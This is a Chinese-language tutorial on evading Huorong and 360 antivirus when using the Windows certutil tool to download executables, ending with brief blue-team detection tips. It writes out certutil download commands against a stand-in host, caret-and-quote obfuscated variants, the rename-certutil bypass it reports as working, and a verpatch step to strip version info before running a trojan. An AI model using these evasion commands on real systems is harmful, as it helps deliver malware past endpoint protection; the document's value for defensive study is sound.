免杀学习-从指令绕过开始(2)
字数 986 2025-08-20 18:17:00
免杀学习-从指令绕过开始(2):certutil指令绕过技术详解
1. certutil指令基础分析
certutil是Windows系统自带的一个证书管理工具,常被攻击者用于下载恶意文件。其常用参数如下:
-f:覆盖现有文件(有值参数,后跟下载文件URL)-split:保存到文件(无值参数,添加后下载到当前路径,否则下载到默认路径)-URLCache:显示或删除URL缓存条目(无值参数)-gmt:以GMT时间格式显示时间
重要特性:
- certutil下载会留下缓存记录
- 缓存查看命令:
certutil -urlcache * - 缓存删除命令:
certutil -urlcache * delete
2. 安全软件检测原理
安全软件(如360、火绒)对certutil的检测主要基于:
- 敏感指令字符串检测(如"certutil")
- 下载可执行文件的行为分析
- 命令执行行为分析
3. 绕过火绒的尝试与方法
3.1 语句顺序混淆(失败)
尝试调换带横线参数顺序:
certutil -urlcache -gmt -split -f http://example.com/file.exe output.exe
结果:无论怎么调换顺序,仍被检测
3.2 添加干扰参数(失败)
添加无关参数:
certutil -a -urlcache -gmt -split -f http://example.com/file.exe output.exe
结果:仍被检测
3.3 命令构造绕过(失败)
尝试使用特殊字符构造:
^c""^e^r^t""u^ti^l -u^r"l""""cache -gmt -split -f ht""tp://example.com/file.exe output.^e^""x""^e
结果:仍被检测
3.4 路径/文件名替换(成功)
有效方法:
- 复制certutil到其他位置并重命名:
copy c:\windows\system32\certutil.exe c.exe
- 使用新名称执行:
a -urlcache -split -f http://example.com/file.exe output.exe
结果:成功绕过火绒检测
4. 绕过360的尝试与方法
4.1 多次路径切换(失败)
将复制的a.exe再次复制为b.exe执行:
结果:仍被检测
4.2 动态绕过(部分成功)
使用verpatch工具修改程序版本信息:
- 修改InternalName字段为空:
verpatch.exe zzz.exe /s InternalName ""
- 尝试执行:
结果:下载时绕过,但执行木马时仍被报警
4.3 文件类型伪装(失败)
尝试以jpg文件下载后执行:
结果:仍被检测
5. 关键结论
- 最有效方法:复制并重命名certutil.exe
- 360的检测比火绒更为严格,行为分析更全面
- 单纯命令混淆难以绕过现代安全软件
- 动态修改可执行文件属性可能部分有效
6. 防御建议(蓝队视角)
- 监控system32目录下certutil.exe的复制行为
- 检测非常规位置的certutil执行
- 分析命令执行上下文而不仅是命令本身
- 监控URL缓存操作行为